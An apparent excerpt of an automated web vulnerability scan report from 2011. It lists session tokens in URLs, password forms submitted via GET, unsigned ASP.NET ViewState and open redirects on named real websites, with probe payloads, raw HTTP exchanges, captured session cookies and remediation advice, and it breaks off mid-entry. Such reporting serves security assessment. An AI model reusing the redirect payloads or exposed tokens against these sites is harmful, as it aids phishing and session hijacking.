...[SNIP]...
<li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HW');" onmouseout="turnOffPopup('brandBarLi_HW');" href="/en_US/hw/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HT');" onmouseout="turnOffPopup('brandBarLi_HT');" href="/en_US/ht/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/en_US/hh/home_index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41"><span>
...[SNIP]...
<li>


                                                                                                       <a href="/en_US/hi/customersupport/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41">
                                                       Customer Support
                                                   </a>
...[SNIP]...
<li>


                                                       <a href="/en_US/ww/customersupport/privacy-policy.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41" rel="nofollow">
                               Privacy Policy (updated July 2007)
                           </a>
...[SNIP]...
<li>


                                                       <a href="/en_US/hi/customersupport/site-usage.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41" rel="nofollow">
                               Site Usage Agreement
                           </a>
...[SNIP]...
<li><a href="/es/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41">Espa..ol</a>
...[SNIP]...
<li><a href="/fr/hi/index.do;jsessionid=EF159B1B7305A6E6A39111D0417098EA.etc41">Fran..ais</a>
...[SNIP]...

10.28. http://www1.hilton.com/en_US/hi/index.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www1.hilton.com
Path:	/en_US/hi/index.do

Issue detail

The response contains the following links that appear to contain session tokens:

http://www1.hilton.com/en/ch/home.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/dt/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/es/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/gi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hh/home_index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hi/customersupport/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hp/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/ht/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/hw/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/en_US/ww/customersupport/privacy-policy.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/es/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42
http://www1.hilton.com/fr/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42

Request

GET /en_US/hi/index.do HTTP/1.1
Host: www1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Content-Language: en-US
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Sun, 06 Feb 2011 16:16:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=1F075BB232A40B63D890AD8F28FD1512.etc42; Path=/
Set-Cookie: cross-sell=hi; Domain=hilton.com; Path=/
Set-Cookie: NSC_qse-qgt=44153d5e3660;expires=Sun, 06-Feb-11 16:27:28 GMT;path=/
Content-Length: 93984

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
   <head>
   <meta http-equiv="Content-Type"
...[SNIP]...
<td>


                                                                                                                                       <a href="/en_US/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42" title="Hilton Hotels Home Page" tabindex="3">
                           <img src="/en_US/hi/media/images/logos/logo.gif" border="0" />
...[SNIP]...
<li class="brandBarLi brandBarLi_CH" id="brandBarLi_CH"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_CH');" onmouseout="turnOffPopup('brandBarLi_CH');" href="/en/ch/home.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HI" id="brandBarLi_HI"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HI');" onmouseout="turnOffPopup('brandBarLi_HI');" href="/en_US/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_DT" id="brandBarLi_DT"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_DT');" onmouseout="turnOffPopup('brandBarLi_DT');" href="/en_US/dt/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_ES" id="brandBarLi_ES"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_ES');" onmouseout="turnOffPopup('brandBarLi_ES');" href="/en_US/es/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_GI" id="brandBarLi_GI"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_GI');" onmouseout="turnOffPopup('brandBarLi_GI');" href="/en_US/gi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HP" id="brandBarLi_HP"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HP');" onmouseout="turnOffPopup('brandBarLi_HP');" href="/en_US/hp/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HW" id="brandBarLi_HW"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HW');" onmouseout="turnOffPopup('brandBarLi_HW');" href="/en_US/hw/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_HT" id="brandBarLi_HT"><a class="brandBarLiA" onmouseover="turnOnPopup('brandBarLi_HT');" onmouseout="turnOffPopup('brandBarLi_HT');" href="/en_US/ht/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li class="brandBarLi brandBarLi_WW" id="brandBarLi_WW"><a class="brandBarLiA" href="/en_US/hh/home_index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42"><span>
...[SNIP]...
<li>


                                                                                                       <a href="/en_US/hi/customersupport/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42">
                                                       Customer Support
                                                   </a>
...[SNIP]...
<li>


                                                       <a href="/en_US/ww/customersupport/privacy-policy.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42" rel="nofollow">
                               Privacy Policy (updated July 2007)
                           </a>
...[SNIP]...
<li>


                                                       <a href="/en_US/hi/customersupport/site-usage.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42" rel="nofollow">
                               Site Usage Agreement
                           </a>
...[SNIP]...
<li><a href="/es/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42">Espa..ol</a>
...[SNIP]...
<li><a href="/fr/hi/index.do;jsessionid=1F075BB232A40B63D890AD8F28FD1512.etc42">Fran..ais</a>
...[SNIP]...

10.29. http://www201.americanexpress.com/business-credit-cards/business-solutions/overview previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-solutions/overview

Issue detail

The response contains the following links that appear to contain session tokens:

http://americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fuel-hub-big-pitch&mboxPC=1288274258236-662223.17&mboxSession=1288383256872-14407&mboxXDomain=disabled&mboxDefault=http://www201.americanexpress.com/business-credit-cards/business-solutions/acceptpay&mboxURL=http://www201.americanexpress.com/business-credit-cards/business-solutions/overview

Request

GET /business-credit-cards/business-solutions/overview HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:44 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944504607994; path=/; expires=Tue, 09-Feb-16 22:21:44 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000kscO5hdpunXSAOCMFtkSRfr:1115nbqmn;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 40955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv
...[SNIP]...
<div id="defaultbp">
<a href="http://americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fuel-hub-big-pitch&mboxPC=1288274258236-662223.17&mboxSession=1288383256872-14407&mboxXDomain=disabled&mboxDefault=http://www201.americanexpress.com/business-credit-cards/business-solutions/acceptpay&mboxURL=http://www201.americanexpress.com/business-credit-cards/business-solutions/overview" onclick="s_objectID="americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fue_1";return this.s_oc?this.s_oc(e):true">
<img border="0/" src="http://secure.cmax.americanexpress.com/Internet/Acquisition/US_en/AppContent/SingleJourney/ngaosbn/OAimages/fuel/fuel_home_img/AcceptPay-BigPitch.jpg">
...[SNIP]...

11. Password field submitted using GET method previous next
There are 5 instances of this issue:

http://channelmarketing.owneriq.com/rmb-account/login-page
http://digg.com/submit
http://www.jazdtech.com/techdirect/
http://www.squidoo.com/
http://www.technotizie.it/

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

11.1. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://channelmarketing.owneriq.com/rmb-account/javascript:requestLogin("userLogin");

The form contains the following password field:

fpassword

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.2. http://digg.com/submit previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://digg.com/submit

The form contains the following password field:

password

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.3. http://www.jazdtech.com/techdirect/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/techdirect/

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.jazdtech.com/techdirect/

The form contains the following password field:

password

Request

GET /techdirect/ HTTP/1.1
Host: www.jazdtech.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.4. http://www.squidoo.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.squidoo.com/

The form contains the following password field:

password

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

11.5. http://www.technotizie.it/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.technotizie.it/login-inside.php

The form contains the following password field:

pass2

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

12. ASP.NET ViewState without MAC enabled previous next
There are 2 instances of this issue:

https://ebus.ota.org/default.aspx
http://www.twiddla.com/

Issue description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.

By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.

You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.

Issue remediation

There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.

12.1. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://ebus.ota.org
Path:	/default.aspx

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: .ASPXANONYMOUS=8MxU4RX8ywEkAAAAYjFkYjU3ZGMtNzQ1NC00YjdhLWJmMzEtMWNlYmQ2MGQ0ODU10; expires=Sat, 16-Apr-2011 09:08:41 GMT; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=mhaa2245vr3axrjmzmvva32q; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=8MxU4RX8ywEkAAAAYjFkYjU3ZGMtNzQ1NC00YjdhLWJmMzEtMWNlYmQ2MGQ0ODU10; expires=Sat, 16-Apr-2011 09:08:41 GMT; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=mhaa2245vr3axrjmzmvva32q; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:28:41 GMT
Connection: close
Content-Length: 18714

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en-US">
<head id="Head">

<!--
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJMjgzMDU3ODk3D2QWBmYPFgIeBFRleHQFPjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCA0LjAgVHJhbnNpdGlvbmFsLy9FTiI+ZAIBD2QWDAIBDxYCHgdWaXNpYmxlaGQCAg8WAh4HY29udGVudAUvQWxsb3dzIHVzZXJzIHRvIHJlcXVlc3QgdGhlaXIgcGFzc3dvcmQgIExvZyBJbiBkAgMPFgIfAgUVTG9nIEluLERvdE5ldE51a2UsRE5OZAIEDxYCHwIFHlBvd2VyZWQgYnkgUGVyc29uaWZ5IGVCdXNpbmVzc2QCBQ8WAh8CBQtEb3ROZXROdWtlIGQCBg8WAh8CBQ1PVEEgZUJ1c2luZXNzZAICD2QWAgIBD2QWAgIED2QWAmYPZBYMAgEPZBYCZg8PFgQeB1Rvb2xUaXAFDU9UQSBlQnVzaW5lc3MeC05hdmlnYXRlVXJsBSFodHRwczovL2VidXMub3RhLm9yZy9EZWZhdWx0LmFzcHhkZAICD2QWAmYPPCsACQEADxYCHwFoZGQCBQ9kFgJmDw8WAh8AZGRkAgYPZBYCZg8PFgIfAAUFTG9naW5kZAIHDxYCHgVjbGFzcwUUdG9wcGFuZSBETk5FbXB0eVBhbmVkAgkPZBYCAgUPZBYCZg9kFgICAg9kFgICAQ8PFgYeCEFwcGxDb2RlBQdNRU1CRVJTHghBcHBsUGF0aAUnaHR0cDovL3d3dy5vdGEub3JnL21lbWJlcnMvc2VydmljZXMuY2ZtHgZQYWdlTm9mZBYGZg9kFhACBw8PZBYCHgV2YWx1ZWVkAgkPZBYCZg9kFgJmD2QWAmYPFgIeA2ZvcgUlZG5uX2N0cjY2MF9BQU9TX0xvZ2luX3R4dFZlcmlmaWNhdGlvbmQCDQ8WAh8BaBYCZg9kFgJmD2QWAmYPFgIfCgUgZG5uX2N0cjY2MF9BQU9TX0xvZ2luX2N0bENhcHRjaGFkAg8PFgIfAWgWAmYPZBYCZg8UKwADZGRkZAIRDxAPFgIfAWhkZGRkAhUPZBYCZg8PFgIfAWhkZAIbD2QWAmYPDxYCHwFoZGQCHQ8PFgIfAGVkZAICD2QWAgIBD2QWCgIDD2QWAmYPFgIfCgUtZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX2xibExhc3RDaGFuZ2VkZAIHD2QWAmYPFgIfCgUpZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX2xibEV4cGlyZXNkAgsPZBYCAgMPZBYIAgIPZBYCZg9kFgJmD2QWAmYPFgIfCgUtZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX3R4dE9sZFBhc3N3b3JkZAIDD2QWAmYPZBYCZg9kFgJmDxYCHwoFLWRubl9jdHI2NjBfQUFPU19Mb2dpbl9QYXNzd29yZF90eHROZXdQYXNzd29yZGQCBA9kFgJmD2QWAmYPZBYCZg8WAh8KBSxkbm5fY3RyNjYwX0FBT1NfTG9naW5fUGFzc3dvcmRfdHh0TmV3Q29uZmlybWQCBQ9kFgJmD2QWAmYPZBYCZg8PFgIeCEltYWdlVXJsBSAvRGVmYXVsdFBlcnNvbmlmeUltYWdlcy9zYXZlLmdpZmRkAg0PZBYCAgMPZBYGAgIPZBYCZg9kFgJmD2QWAmYPFgIfCgUqZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX2xibFF1ZXN0aW9uZAIDD2QWAmYPZBYCZg9kFgJmDxYCHwoFKGRubl9jdHI2NjBfQUFPU19Mb2dpbl9QYXNzd29yZF90eHRBbnN3ZXJkAgQPZBYCZg9kFgJmD2QWAmYPDxYCHwsFIS9EZWZhdWx0UGVyc29uaWZ5SW1hZ2VzL3Jlc2V0LmdpZmRkAg8PZBYCAgMPZBYGAgIPZBYCZg9kFgJmD2QWAmYPFgIfCgUsZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX3R4dFFBUGFzc3dvcmRkAgQPZBYCZg9kFgJmD2QWAmYPFgIfCgUsZG5uX2N0cjY2MF9BQU9TX0xvZ2luX1Bhc3N3b3JkX3R4dEVkaXRBbnN3ZXJkAgUPZBYCZg9kFgJmD2QWAmYPDxYCHwsFIC9EZWZhdWx0UGVyc29uaWZ5SW1hZ2VzL3NhdmUuZ2lmZGQCBA9kFgICAQ9kFgICBQ9kFgJmDw8WAh8LBSAvRGVmYXVsdFBlcnNvbmlmeUltYWdlcy9zYXZlLmdpZmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBRRkbm4kZG5uTkFWJGN0bGRubk5BVg==" />
...[SNIP]...

12.2. http://www.twiddla.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.twiddla.com
Path:	/

Request

GET / HTTP/1.1
Host: www.twiddla.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=0
Content-Length: 18892
Content-Type: text/html; charset=utf-8
Expires: Sun, 06 Feb 2011 16:16:08 GMT
Last-Modified: Sun, 06 Feb 2011 16:16:07 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 16:16:06 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>

...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIzODk2NjQxMg9kFgJmD2QWBgIDD2QWAmYPFgIeB1Zpc2libGVnZAIND2QWAgIBD2QWAmYPFgIeC18hSXRlbUNvdW50AgEWAmYPZBYCZg8VBWFodHRwOi8vd2Vid29ya2VyZGFpbHkuY29tLzIwMDgvMDMvMTEvdHdpZGRsYS1lbmFibGVzLXJlYWwtdGltZS1jb2xsYWJvcmF0aW9uLWFyb3VuZC1vbmxpbmUtbWVkaWEvO1R3aWRkbGEgRW5hYmxlcyBSZWFsIFRpbWUgQ29sbGFib3JhdGlvbiBBcm91bmQgT25saW5lIE1lZGlhmQEiVHdpZGRsYSBjYWxscyBpdHNlbGYgYSB3ZWItYmFzZWQgbWVldGluZyBwbGF5Z3JvdW5kLiBOb3Qgb25seSBpcyBpdCBhIGZ1biB3YXkgdG8gc3dhcCBpZGVhcyBhYm91dCBhIHdlYnNpdGUgb3IgaW1hZ2UsIGl04oCZcyBpbmNyZWRpYmx5IHVzZWZ1bCBhcyB3ZWxsLiJhaHR0cDovL3dlYndvcmtlcmRhaWx5LmNvbS8yMDA4LzAzLzExL3R3aWRkbGEtZW5hYmxlcy1yZWFsLXRpbWUtY29sbGFib3JhdGlvbi1hcm91bmQtb25saW5lLW1lZGlhLxJ3ZWJ3b3JrZXJkYWlseS5jb21kAg8PFgIeCWlubmVyaHRtbAUOdjEuMTg4LjQxNC45MzdkZA==" />
...[SNIP]...

13. Open redirection previous next
There are 4 instances of this issue:

http://ad.zanox.com/tpv/ [14786739C435671106&ULP parameter]
http://mm.chitika.net/track [target parameter]
http://www.linuxsecurity.com/ads/adclick.php [Referer HTTP header]
http://www.splunk.com/index.php/sso_checker [Referer HTTP header]

Issue background

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Remediation background

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:

Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
The application should use absolute URLs for all of its redirects, and the redirection function should verify that the user-supplied URL begins with http://yourdomainname.com/ before issuing the redirect.

13.1. http://ad.zanox.com/tpv/ [14786739C435671106&ULP parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The value of the 14786739C435671106&ULP request parameter is used to perform an HTTP redirect. The payload .a3768b48eb5dcbf43/ was submitted in the 14786739C435671106&ULP parameter. This caused a redirection to the following URL:

http://www.bild.de.a3768b48eb5dcbf43/&zpar0=125_1_728x90_360_pvc_ad4matdedault?zanpid=14786739C435671106T1469386964569572361

The application attempts to prevent redirection attacks by prepending an absolute prefix to the user-supplied URL. However, this prefix does not include a trailing slash, so an attacker can add an additional domain name to point to a domain which they control.

Remediation detail

When prepending an absolute prefix to the user-supplied URL, the application should ensure that the prefixed domain name is followed by a slash.

Request

GET /tpv/?14786739C435671106&ULP=.a3768b48eb5dcbf43/&zpar0=125_1_728x90_360_pvc_ad4matdedault HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.ad4mat.de/ads/redir.php?nurl=aHR0cDovL2FkLnphbm94LmNvbS90cHYvPzE0Nzg2NzM5QzQzNTY3MTEwNiZVTFA9aHR0cDovL3d3dy56YW5veC1hZmZpbGlhdGUuZGUvdHB2Lz8xMTI1OTU4MEMxNDYzNzg2NTk3UzE0Nzg2NzM5VCZ6cGFyMD0xMjVfMV83Mjh4OTBfMzYwX3B2Y19hZDRtYXRkZWRhdWx0
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ztvc=5C357927S1469378102382598159T0I14786739C0T0; zpvc=5C357927S1469378102382598159T0I14786739C0T0

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:39:12 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: zttpvc=5C71884S1469386964569572361T0I14786739C0T0; domain=.zanox.com; path=/
Set-Cookie: zptpvc=5C71884S1469386964569572361T0I14786739C0T0; expires=Sat, 07-May-2011 17:39:12 GMT; domain=.zanox.com; path=/
Content-Length: 0
Location: http://www.bild.de.a3768b48eb5dcbf43/&zpar0=125_1_728x90_360_pvc_ad4matdedault?zanpid=14786739C435671106T1469386964569572361
pragma: no-cache
cache-control: no-store

13.2. http://mm.chitika.net/track [target parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/track

Issue detail

The value of the target request parameter is used to perform an HTTP redirect. The payload http%3a//aa94df46ff741041f/a%3fhttp%3a//0.r.msn.com/%3fld%3d4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ was submitted in the target parameter. This caused a redirection to the following URL:

http://aa94df46ff741041f/a?http://0.r.msn.com/?ld=4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ

Request

